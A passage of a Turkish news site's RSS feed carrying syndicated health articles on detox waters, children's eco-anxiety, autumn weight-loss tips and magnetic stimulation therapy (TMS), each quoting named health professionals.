Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bebeginizi-uzun-sure-emzirerek-astim-olmasini-engelleyin-67856.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 17:12:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bebeginizi-uzun-sure-emzirerek-astim-olmasini-engelleyin-6W8buWSN.jpg"/>
            </item>
                                <item>
                <title>Detoks suları mucize yaratmıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/detoks-sulari-mucize-yaratmiyor-547844</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/detoks-sulari-mucize-yaratmiyor-547844</guid>
                <description><![CDATA[Detoks suları sağlıklı beslenme içinde yer almalı Detoks suları içine atılan bitki, sebze ve meyvelerin aromaları ile oluşuyor. Diyetteki tek ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Detoks suları sağlıklı beslenme içinde yer almalı</span></span></p>  <div> <p><span><span><strong>Detoks suları içine atılan bitki, sebze ve meyvelerin aromaları ile oluşuyor. Diyetteki tek bir içeceğin mucizevi olmadığını, diyetin bütünüyle detoks ve arınma olduğunu vurgulayan Anadolu Sağlık Merkezi Beslenme ve Diyet Uzmanı Başak İnsel Aydın, “Detoks suları kilo kontrolünün sağlanmasında yardımcı bir faktördür ancak bu sıvı detokslarının sağlıklı bir beslenme içinde yer alabilmesi için beraberinde balık, az yağlı peynir, yumurta, yoğurt, süt gibi protein kaynakları ve lif içeren yulaf, çavdar veya tam buğday gibi karbonhidrat türevleri ile birlikte tercih edilmeli” şeklinde konuştu. </strong></span></span></p>  <p><span><span>Meyve ve sebzelerin tüketilmesi vitamin ve mineraller açısından faydalı olduğunu ancak su içerisine atılan meyve ve sebzelerin aromaları dışında bir katkısı olmadığını söyleyen Beslenme ve Diyet Uzmanı Başak İnsel Aydın, “Detoks sularının bağışıklık sistemi üzerinde herhangi bir belirgin etkisi bulunmuyor. Özellikle kilo vermek için sadece detoks suyu içmek sağlıksız bir beslenme şeklidir çünkü bu dönemde hem düşük kalorili besleniliyor hem de vücuda alınan besinler idareli kullanılıyor. Bu metabolizmayı yavaşlatırken geri kilo alımını da kolaylaştırıyor” dedi. </span></span></p>  <p><span><span><strong>Detoks suları su tüketimi artırıyor</strong></span></span></p> <p><span><span>Detoks suyunda vücudu temizleyecek asıl içeriğin su olduğunu belirten Beslenme ve Diyet Uzmanı Başak İnsel Aydın, “Diğer maddelerin metabolizmayı hızlandırma gibi bir katkısı bulunmuyor ancak içine eklenen meyve ve sebzelerle aromalı bir yapıya sahip olduğu için su tüketimine yardımcı olabiliyor. İçinde bitkiler, sebzeler veya meyveler olsun ya da olmasın sağlık için yapılabilecek en iyi beslenme yöntemi su tüketimidir” açıklamasında bulundu. </span></span><br/>  </p> <p><span><span>Beslenme ve Diyet Uzmanı Başak İnsel Aydın, detoksun olmazsa olmazlarını sıraladı: </span></span></p> <ul> <li><span><span>Sigara ve kafeini diyetinizden çıkarın.</span></span></li> <li><span><span>Doymuş yağ tüketimini en aza indirin.</span></span></li> <li><span><span>Soslar, çikolata, fruktoz şurubu içeren besinleri diyetten çıkarın.</span></span></li> <li><span><span>İşlenmiş besinler, konserveler, tuz, şeker, beyaz un ve beyaz undan yapılmış makarna/ekmek, kırmızı et, tavuk, yağlı peynirler, krema, tereyağı, kuyruk yağı tüketmeyin.</span></span></li> <li><span><span>Organik besinleri tercih edin.</span></span></li> <li><span><span>Kür boyunca elma, kiraz, böğürtlen, dutsu meyveler, bitkisel protein kaynağı glutensiz tahıllar, kuru meyveler, ananas, kivi, limon, salatalık, yeşillikler ve ıspanağı tercih edin.</span></span></li> <li><span><span>Protein kaynağı olarak yoğurt, kuru baklagil ve balık yiyin.</span></span></li> <li><span><span>C vitamini içeriği yüksek olan besinleri yiyin.</span></span></li> <li><span><span>Sıvı tüketimini artırın, bitki çayları için.</span></span></li> <li><span><span>Yedi günü aşmayın.</span></span></li> <li><span><span>Yiyecekleri iyice çiğneyin.</span></span></li> <li><span><span>Rahat bir oturma pozisyonunda yemek tüketin.</span></span></li> <li><span><span>Stresi minimum düzeye indirin.</span></span><br/>  </li> </ul> <p><span><span><span>Detoks programında dikkat edilmesi gerekenleri ise şu şekilde sıralayabiliriz:</span></span></span></p> <ul> <li><span><span><span>Detoksu destekleyecek egzersizler hayata dahil edilmelidir.</span></span></span></li> <li><span><span><span>Günlük su miktarı mutlaka tüketilmelidir.</span></span></span></li> <li><span><span><span>Düzenli bir şekilde uyunmalıdır.</span></span></span></li> <li><span><span><span>Aşırı siyah çay tüketiminden kaçınılmalıdır. Eğer kahve veya çay tüketilecek ise mutlaka şekersiz olmalıdır.</span></span></span></li> <li><span><span><span>Tuzdan uzak durulmalıdır.</span></span></span></li> <li><span><span><span>Baharat seçimine dikkat edilmelidir.</span></span></span></li> <li><span><span><span>Eğer bir program var ise öğünlerin sırası ve yerleri değiştirilmemelidir.</span></span></span></li> </ul> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-detoks-sulari-mucize-yaratmiyor-67819.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 15:45:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/detoks-sulari-mucize-yaratmiyor-UmwibkIy.jpg"/>
            </item>
                                <item>
                <title>Alarko Carrier, Eko-Anksiyeteye Karşı Harekete Geçti İklim Krizi Mücadelesinde En Önemli Konu: Çocukların Doğa İle Bağ Kurmasını Sağlamak</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/alarko-carrier-eko-anksiyeteye-karsi-harekete-gecti-iklim-krizi-mucadelesinde-en-onemli-konu-cocuklarin-doga-ile-bag-kurmasini-saglamak-547833</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/alarko-carrier-eko-anksiyeteye-karsi-harekete-gecti-iklim-krizi-mucadelesinde-en-onemli-konu-cocuklarin-doga-ile-bag-kurmasini-saglamak-547833</guid>
                <description><![CDATA[Küresel iklim değişikliğinin insan psikolojisi üzerine etkilerini ölçmek amacıyla 10 farklı ülkede, 10 bin çocuğun katıldığı anket düzenlendi ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Küresel iklim değişikliğinin insan psikolojisi üzerine etkilerini ölçmek amacıyla 10 farklı ülkede, 10 bin çocuğun katıldığı anket düzenlendi. Anket sonuçlarına göre her üç çocuktan ikisi doğanın geleceğinden oldukça endişeli; çocukların yüzde 40’ı çocuk sahibi olmak istemiyor, katılımcıların yarısı ise yakın gelecekte yaşanabilir bir dünya olmayacağını düşünüyor.  </span></strong></p>  <p><strong><span>Çocukların kaygılarının normal olduğunu dile getiren Psikolog Gizem Sürenkök ise bu kaygıların, ebeveynlerin dikkat edeceği birkaç yöntem ile olumlu duygulara dönüştürülmesinin mümkün olduğunu söylüyor.</span></strong></p>  <p><span>İklimlendirme sektörünün öncüsü <strong>Alarko Carrier</strong>, <strong>Taş Kâğıt Makas Atölyesi</strong> iş birliği ile, küresel iklim krizinin olumsuz etkileri ile mücadele etmek ve en çok çocukların yaşadığı eko-anksiyetenin azaltılmasına destek olmak amacıyla başlattığı sosyal sorumluluk projesi <strong>“Doğaya İyi Bak, Geleceğe Gülümse”</strong> kapsamında yıl sonuna kadar devam edecek webinar serisinin ilkini </span><span>oyuncu </span><span>Ceyda Düvenci moderatörlüğünde gerçekleştirdi. Ebeveynlerin ilgiyle takip ettiği webinar kapsamında Yuvam Dünya Bilim Kurulu Üyesi Dr. Gizem Sürenkök, eko-anksiyetenin nasıl ortaya çıktığı, bu duyguyla başa çıkmak için neler yapılabileceği, çocukların doğa bilincini kazanmaları ve sağlıklı düzeyde bir eko-kaygı duygusunu barındırmalarını sağlamak için neler yapılabileceği konusunda önemli bilgiler verdi. </span></p>  <p><strong><span>“Çocuklarımızın Doğa ile Empati Kurmasını Sağlamalıyız”</span></strong></p> <p><span>Küresel iklim değişikliğinin insan psikolojisi üzerine etkilerini ölçmek amacıyla The Lancet Planetary Health tarafından 10 farklı ülkede, 10 bin çocuğun katılımıyla gerçekleşen ankete göre; her üç çocuktan ikisi doğanın geleceğinden oldukça endişeli; çocukların yüzde 40’ı çocuk sahibi olmak istemiyor. Farkındalığı yüksek çocuklar yetiştirmek için çocukların doğaya dönmeleri gerektiğine vurgu yapan Yuvam Dünya Bilim Kurulu Üyesi Dr. Gizem Sürenkök, webinara katılan ebeveynlere şunları aktardı: “Çocuklarımızın eko-anksiyete ile baş etmesine yardımcı olmak için önce konu ile ilgili ne hissettiğini anlamaya çalışmalıyız. Sonrasında bununla ilgili ne yapabiliriz, neler iyi gelir üzerine beraber düşünebileceğimiz alanlar açmamız gerekir. Çocuklarımızın esnek, problem çözmeye odaklı olması için bizim de doğru rol model olmamız son derece önemli. Öte yandan takım çalışması için yönlendirme yapmak ve gönüllü çalışmalara katılmasını sağlamak da konuya dair farkındalık yaratmak açısından faydalı olacaktır. </span></p>  <p><span>Sadece kendisi için değil ihtiyacı olan herkes için ve doğa için ne yapabileceğini düşünen çocuklar yetiştirmek iklim mücadelesinde en önemli konularından biri olacaktır.  Önce doğanın içinde olalım, sonra doğa ile birlikte olalım ve en son doğa ile çalışalım.” dedi.</span></p>  <p><strong><span>“Çocukların iklim endişesini küçümsemeyin”</span></strong></p> <p><span>Küresel İklim değişikliğinin yarattığı duygusal etkileri yönetmek için çocukların endişelerinin küçümsenmemesi gerektiğini belirten Dr. Gizem Sürenkök “Çocuklara “hayır, dünyaya bir şey olmuyor; sen de böyle şeylere üzülme” gibi cümleler yerine, yaşanan olaylar gerçekçi bir şekilde ve yaşına uygun olarak anlatılmalı. Çocukların mutlaka sürecin bir parçası olması gerekiyor. Çocuklarımızla alışverişe gittiğimizde onlara plastik poşet kullanmadığımızı, onun yerine birçok kez kullanılan bez çantayı neden tercih ettiğimizi ayrıntıları ile anlatmamız gerekiyor. Örneğin, bez çanta kullanıyoruz çünkü, plastik doğa için zararlı diyebilmeliyiz, evden çıkarken su mataralarını yanlarına almalarını sağlamalı ve neden plastik şişe tercih etmemeleri gerektiğini anlatmalıyız.” şeklinde konuştu. </span></p>  <p><strong><span>Evcil hayvan sahibi olmak çocukların doğa ile bağ kurmasını sağlıyor</span></strong></p> <p><span>Çocukların doğa ile bağ kurmak için yaş gruplarına göre yapılacaklar oldukça basit fakat ebeveynlere oldukça iş düşüyor. Dr. Sürenkök’e göre çocukların evcil hayvan sahibi olmaları, onların ihtiyaçları konusunda sorumluluk sahibi olmaları, evde bitki bakımı gibi konular çocukların ben merkezci yapıdan uzaklaşmalarını ve çevresiyle iletişim halinde olmasını sağlıyor. Doğa ile empati kuran çocukların kaygılarını ve endişelerini yönetmelerinin daha kolay olduğunu dile getiren Dr. Gizem Sürenkök, küçük adımların büyük değişimleri getirdiğini çocuklara en doğru şekilde anlatılmasının önemini vurguladı. </span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-alarko-carrier-eko-anksiyeteye-karsi-harekete-gecti-iklim-krizi-mucadelesinde-en-onemli-konu-cocuklarin-doga-ile-bag-kurmasini-saglamak-67804.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 15:28:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/alarko-carrier-eko-anksiyeteye-karsi-harekete-gecti-iklim-krizi-mucadelesinde-en-onemli-konu-cocuklarin-doga-ile-bag-kurmasini-saglamak-3OGC2ewf.jpg"/>
            </item>
                                <item>
                <title>Sonbaharda Sağlıklı Kilo Vermenin 9 Püf Noktası</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/sonbaharda-saglikli-kilo-vermenin-9-puf-noktasi-547792</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/sonbaharda-saglikli-kilo-vermenin-9-puf-noktasi-547792</guid>
                <description><![CDATA[Yazın açık havada geçirilen uzun saatler, sosyal etkinlikler ve tatiller derken diyette ipin ucunu kaçırıp kilo almış olmaktan yakınanlar için ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Yazın açık havada geçirilen uzun saatler, sosyal etkinlikler ve tatiller derken diyette ipin ucunu kaçırıp kilo almış olmaktan yakınanlar için diyete başlamanın tam zamanı. Ancak dikkat! Zayıflamak için yapılan diyetin mutlaka kişiye özel olması, internetten ya da arkadaş çevresindeki sohbetlerden duyulanlarla hareket edilmemesi gerekiyor. Zira, popüler diyetlerin ya da kişiye çok kısa sürede birkaç kilo birden verdirmeyi vaat eden şok diyetlerin gelişigüzel uygulandığında çok ciddi sağlık sorunlarına yol açabildiğini vurgulayan <strong>Acıbadem Ataşehir Hastanesi Beslenme ve Diyet Uzmanı Evrim Demirel</strong> “Üstelik sağlıksız ve düzensiz yapılan bu tarz sürdürülebilirliği olmayan diyetlerle verilen kiloların korunması mümkün olmadığı gibi, kısa sürede tekrar kilo alınması da kaçınılmaz olacaktır” diyor. Kişinin metabolizmasına, sağlık durumuna ve yaşam biçimine uygun olarak düzenlenecek bir diyetle ayda 2-4 kilo zayıflamanın mümkün olduğunu belirten Beslenme ve Diyet Uzmanı Evrim Demirel, sağlıklı, düzenli ve kalıcı bir kilo kaybı için sürdürülebilir beslenmede püf noktalarını anlattı, önemli uyarılar ve önerilerde bulundu. </span></span></p>  <p><span><span><strong>Kararlı olun ve adım adım yol alın </strong></span></span></p> <p><span><span>Kilo vermeye niyetlendiğinizde hemen harekete geçin, ötelemeyin. Mevcut durumunuzu değerlendirerek, gelecekte nerede olmak istediğinizi belirleyerek kilo vermeye başlayın. Çok hızlı aksiyon alarak aşırı kurallar çerçevesinde beslenme ve düzen değişikliklerine gitmeyin, adım adım yol alın. Örneğin; beslenme alışkanlıklarınızda kötü düzen veya çok sağlıksız besin seçimleriniz varsa öncelikle oraya odaklanın, daha sağlıklı besinler seçin ve öğünlerinizin aralığını düzenleyin. Ya da çok hareketsiz bir yaşamınız varsa spor salonlarına gitmek yerine ilk etapta bir adım sayar alarak günlük adım sayısını artırmaya çalışın.</span></span></p>  <p><span><span><strong>Yüksek karbonhidratlı besinlere dikkat edin!</strong></span></span></p> <p><span><span>Kan şekerini hızla artırıp ardından hızla düşüren karbonhidratlı gıda tüketimine çok dikkat edin. Bu durum çok daha aç hissetmenize neden olarak daha fazla yemek yemenize neden olur. Sağlıklı kilo kaybı için bir uzman desteğiyle size özel düzenlenmiş, dengeli bir beslenme planı ile porsiyon kontrolü sağlayabilirsiniz. </span></span></p>  <p><span><span><strong>Kahvaltılarınızda proteini artırın</strong></span></span></p> <p><span><span>Proteinin çok yavaş sindirilen bir besin grubu olduğunu ve açlık hormonlarını bastırarak tok kalmaya destek sağladığını belirten Beslenme ve Diyet Uzmanı Evrim Demirel “Ayrıca yüksek proteinli kahvaltı ilerleyen saatlerde iştahımızın daha az olmasına ve daha uzun sürede acıkmamıza yardımcı olur. Ortalama bir kahvaltı öğününde 15-20 gr protein içeriği olan  besinleri tercih ediniz. Örneğin; yumurta alerjisi ya da kalp ve damar sorununuz yok ise her gün 1 haşlanmış yumurtanın yanına 1 dilim beyaz ve 1 dilim kaşar peyniri veya farklı peynirlerden birini tükettiğinizde protein ihtiyacını karşılamış olursunuz. Bunu sağlıklı posa kaynağı olan tam buğday ekmeği, sağlıklı yağ kaynağı olan avokado, zeytin/ceviz ya da posalı sebzelerle destekleyebilirsiniz.  </span></span></p>  <p><span><span><strong>Beslenme düzeni oluşturun  </strong></span></span></p> <p><span><span>Sağlıksız beslenmenin en önemli kurallarından birinin; düzenli saatlerde oluşturulan öğünler olduğunu vurgulayan Beslenme ve Diyet Uzmanı Evrim Demirel şöyle konuşuyor: “Saatlerin düzensiz olması, geç saatlerde yemek yenilmesi hareketsizlikle metabolizmanızın yavaşlamasına ve çok daha kilo almanıza neden olur. Evden de çalışıyor olsak kesinlikle öğün aralıklarını belirlemek ve sağlıklı evde yapılmış yemekleri tercih etmek gerekir.”</span></span></p>  <p><span><span><strong>Yeterince uyuyun </strong></span></span></p> <p><span><span>Yeterli uyku hormonların daha dengeli olmasını ve vücudumuzun fazladan enerji isteği duymadan kendini onarıp tazelemesini sağlıyor. Uykusuzluk durumunda, açlık hormonu olan ghrelin artarken, kilo kontrolünü sağlayan leptin hormonunu azalıyor. Vücut çok açlık duygusu yaşadığından yüksek kalorili yiyeceklere ihtiyaç duyuyor. Bunun dışında uykusuzluk kişinin duygu durumunu fazlası ile olumsuz yönde etkilediğinden, duygusal açıdan mutlu olabilmek için daha çok karbonhidratlı ve kalorili gıdaları tercih ediyoruz. Tüm bu nedenlerden dolayı yeterince uyumak, özellikle geceleri geç yatmamak kilo verme sürecinde de büyük önem taşıyor. </span></span></p>  <p><span><span><strong>Popüler diyetlere dikkat edin!</strong></span></span></p> <p><span><span>Beslenmenin kişiye özel olduğunu, dolayısıyla zayıflamak için yapılan diyetin de kişiye özel olması gerektiğini vurgulayan Beslenme ve Diyet Uzmanı Evrim Demirel “Ne yazık ki zaman zaman sosyal mecralarda ve kulaktan dolma bilgilerle ortaya çıkan ortamda dolaşan bir çok diyet çeşidi var. Aralıklı oruç, ketojenik diyet, alkali diyet, su diyeti gibi bilimsel yönlerinin hiç kanıtlanmadığı veya kanıtlanıp aslında zayıflama için değil bazı hastalıkların tedavisinde kullanılan diyetler sayabileceklerimizden bazılarıdır. Özellikle günümüzde adı çok fazla geçen aralıklı oruç ve ketojenik beslenme biçimleri diyetisyeniniz uygun gördüğü koşullarda size göre düzenlenerek yapılmalıdır” diyor. Aksi taktirde kontrolsüzce, bir uzman tarafından hazırlanmadan tercih edilen diyetler ciddi sağlık sorunlarına yol açabiliyor. </span></span></p>  <p><span><span><strong>Yemeklerinizi planlayın</strong></span></span></p> <p><span><span>Beslenme ve Diyet Uzmanı Evrim Demirel “Sağlıklı kilo verip devamında beslenme alışkanlıklarının oluşabilmesi için en önemli süreçlerden biri de ne zaman, ne miktarda, ne yediğinizdir. Sağlıklı kilo verme için oluşturulan beslenmenin öğün düzenini belirledikten sonra, ne yiyeceğinizin planını da önceden belirlemek ve alışverişleri ona göre listelemek doğru olacaktır.” diyor.</span></span></p>  <p><span><span><strong>Mutlaka düzenli egzersiz yapın</strong></span></span></p> <p><span><span>Yapılan bilimsel çalışmalar; düzenli egzersizin sağlığa genel faydalarının yanı sıra kilo vermede de çok büyük önem taşıdığını ortaya koyuyor. Egzersizin sağlıklı bir diyet ile birleştiğinde yalnızca kalori kısıtlamasına bağlı kalmadan kilo vermenin etkinliğini de artırdığını vurgulayan Beslenme ve Diyet Uzmanı Evrim Demirel şöyle konuşuyor: “Haftada 150 dakika orta düzeyde fiziksel aktivite ya da 75 dakika yoğun aktivite yapmak sağlıklı bir beslenme ile birleştiğinde  kilo vermeyi ve ideal kiloyu korumada büyük önem taşıyor. Düzenli egzersiz metabolizmayı ve günlük yağ yakımını hızlandırırken, yağsız vücut kitlesinin korunmasına yardımcı oluyor. Ne yazık ki günlük hayatımızdaki ritüeller, evi temizlemek, alışveriş yapmak, çim biçmek gibi aktiviteler kilo vermek için yeterli egzersizler değildir. Kilo vermek için egzersizin düzenli olarak yapılan, tekrarlayan fiziksel aktiviteler olması gerekir. Fiziksel aktiviteyi, kesinlikle kilo vermenin bir cezası olarak görmeyin ve size uygun, keyif alacağınız türlerini tercih edin.”</span></span></p>  <p><span><span><strong>Su içmeyi unutmayın</strong></span></span></p> <p><span><span>Sağlıklı kilo vermek için su tüketimi son derece önemli. Bu nedenle gün içerisinde mutlaka yeterli miktarda su içmeyi ihmal etmeyin. Günlük bir insanın su ihtiyacının kilosu ile orantılı olduğunu belirten Beslenme ve Diyet Uzmanı Evrim Demirel “Kilo başına 20-30 ml den hesaplayarak günlük su ihtiyacımızı belirleyebiliriz. İçtiğimiz su midemizde doygunluk hissini artırarak yüksek kalori içeren gıdaların tüketilmesini azaltacağından kilo vermemize yardımcı olur.” diyor. </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-sonbaharda-saglikli-kilo-vermenin-9-puf-noktasi-67777.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 13:13:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/sonbaharda-saglikli-kilo-vermenin-9-puf-noktasi-NF1V8TsQ.jpg"/>
            </item>
                                <item>
                <title>TMU yöntemiyle beyinde ihtiyaç duyulan alanlar harekete geçiriliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/tmu-yontemiyle-beyinde-ihtiyac-duyulan-alanlar-harekete-geciriliyor-547750</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/tmu-yontemiyle-beyinde-ihtiyac-duyulan-alanlar-harekete-geciriliyor-547750</guid>
                <description><![CDATA[Sigara, alkol, madde bağımlılığı, depresyon, duygu durum bozuklukları ve OKB tedavisinde uygulanan manyetik uyarım tedavisi (TMU) yöntemi ile ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Sigara, alkol, madde bağımlılığı, depresyon, duygu durum bozuklukları ve OKB tedavisinde uygulanan manyetik uyarım tedavisi (TMU) yöntemi ile başarılı sonuçlar elde ediliyor. TMU ile beyindeki hücrelerin elektriksel iletisine müdahale edildiğini ifade eden Psikiyatri Uzmanı Dr. Elvin Guliyev, elektriksel ve kimyasal ileti ile çalışan beynin bu yöntemle harekete geçirildiğini söyledi. TMU yöntemi ile güçlü ama kısa bir manyetik alan oluşturulduğunu belirten Dr. Elvin Guliyev, yöntemin yeterli çalışmayan doğal süreçlerin harekete geçirilmesinde etkisi olduğunu söyledi.</span></strong></p>  <p><span>Üsküdar Üniversitesi NPİSTANBUL Hastanesi Psikiyatri Uzmanı Dr. Elvin Guliyev, psikiyatrik hastalıkların tedavisinde kullanılan manyetik uyarım tedavisi TMU’ya ilişkin değerlendirmede bulundu.</span></p>  <p><span>Manyetik uyarım tedavisi  TMU’nun beyindeki nöronları uyaran noninvazif bir yöntem olarak kullanıldığını kaydeden Psikiyatri Uzmanı Dr. Elvin Guliyev, “Bu yöntemde hızla değişen manyetik alanlar yoluyla (elektromanyetik indüksiyon), ameliyata veya dıştan elektrotlara ihtiyaç olmaksızın, beyin aktivitesi  modüle edilebiliyor” dedi. </span></p>  <p><strong><span>TMU yöntemiyle güçlü bir tedavi etkisi oluşturuluyor</span></strong></p> <p><span>TMU ile beyindeki hücrelerin elektriksel iletisine müdahale edildiğini ifade eden Dr. Elvin Guliyev, “Beynin elektriksel ve kimyasal ileti ile çalıştığı düşünülürse bu müdahalenin beynin yeterli çalışmayan doğal süreçlerini harekete geçirici etkisi vardır. TMU yöntemi ile güçlü ama kısa bir manyetik alan oluşturarak tedavi etkisi oluşturulur. Böylece beyinde hedeflenen alanda “nöronal depolarizasyon” dediğimiz değişim oluşur” dedi.</span></p>  <p><strong><span>Her seans yaklaşık 20 dakika sürüyor</span></strong></p> <p><span>Dr. Elvin Guliyev, hastalığın tanısına göre TMU tedavi protokolleri mevcut olduğunu kaydederek ortalama 20 seans yapıldığını ve her seansın yaklaşık 20 dakika sürdüğünü söyledi.</span></p>  <p><strong><span>İki yöntem kullanılıyor</span></strong></p> <p><span>Günümüzde kullanılan iki ana TMU yöntemi olduğunu belirten Dr. Elvin Guliyev,  bunların. Derin TMU (Deep TMS) ve Tekrarlayan TMU (rTMS) olduğunu söyledi.</span></p>  <p><strong><span>İlaçsız ve cerrahi olmayan müdahaledir</span></strong></p> <p><span>Her iki yöntemin çeşitli psikiyatrik ve nörolojik hastalıkların tedavisinde kullanıldığını ifade eden Dr. Elvin Guliyev,<strong> “</strong>Her iki TMU yöntemi ilaçsız ve cerrahi olmayan bir müdahaledir, anestezi gerektirmez, uygulama sırasında hasta uyanık ve bilinçlidir.” diye konuştu.</span></p>  <p><span>Dr. Elvin Guliyev, TMU tedavisinin Obsesif Kompulsif Bozukluk (OKB), fibromyalji, depresyon, kaygı bozuklukları, duygu durum bozuklukları, şizofreni, parkinson ve Alzheimer hastalığında oluşan davranış bozukluklarında kullanıldığını söyledi. Dr. Elvin Guliyev, TMU tedavisinin bağımlıık, ergenlikte görülen davranım bozukluklarında da kullanıldığını kaydetti.</span></p>  <p><strong><span>Hafif baş ağrısı görülebilir</span></strong></p> <p><span>TMU sonrası bazen hafif baş ağrıları görülebildiğini, şiddetli epilepsi hastalarında yapılmamasının önerildiğini ifade eden Dr. Elvin Guliyev, sözlerini şöyle tamamladı:</span></p>  <p><strong><span>Derin TMU, hamilelik döneminde de uygulanabiliyor</span></strong></p> <p><span>Bağımlılık (sigara, kokain, alkol ), depresyon  ve OKB tedavsinde uygulanan Derin TMU yöntemi başarılı sonuçlar vermektedir. Bunun dışında Tüm TMU yöntemleri ilaç tedavisinin tercih edilmediği, kullanılamadığı veya ilaç kullanımının riskli olduğu gebelik veya süt verme döneminde, yaşlılarda ve çocuklarda  güvenle kullanılmaktadır.” </span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-tmu-yontemiyle-beyinde-ihtiyac-duyulan-alanlar-harekete-geciriliyor-67750.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 12:03:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/tmu-yontemiyle-beyinde-ihtiyac-duyulan-alanlar-harekete-geciriliyor-l7YVcSsw.jpg"/>
            </item>
                                <item>
                <title>Gece Rahat Bir Uyku İçin Sıcak Duş Saçlarınızın Daha Parlak Görünmesi İçin Soğuk Duş</title>
                <category>Sağlık</category>
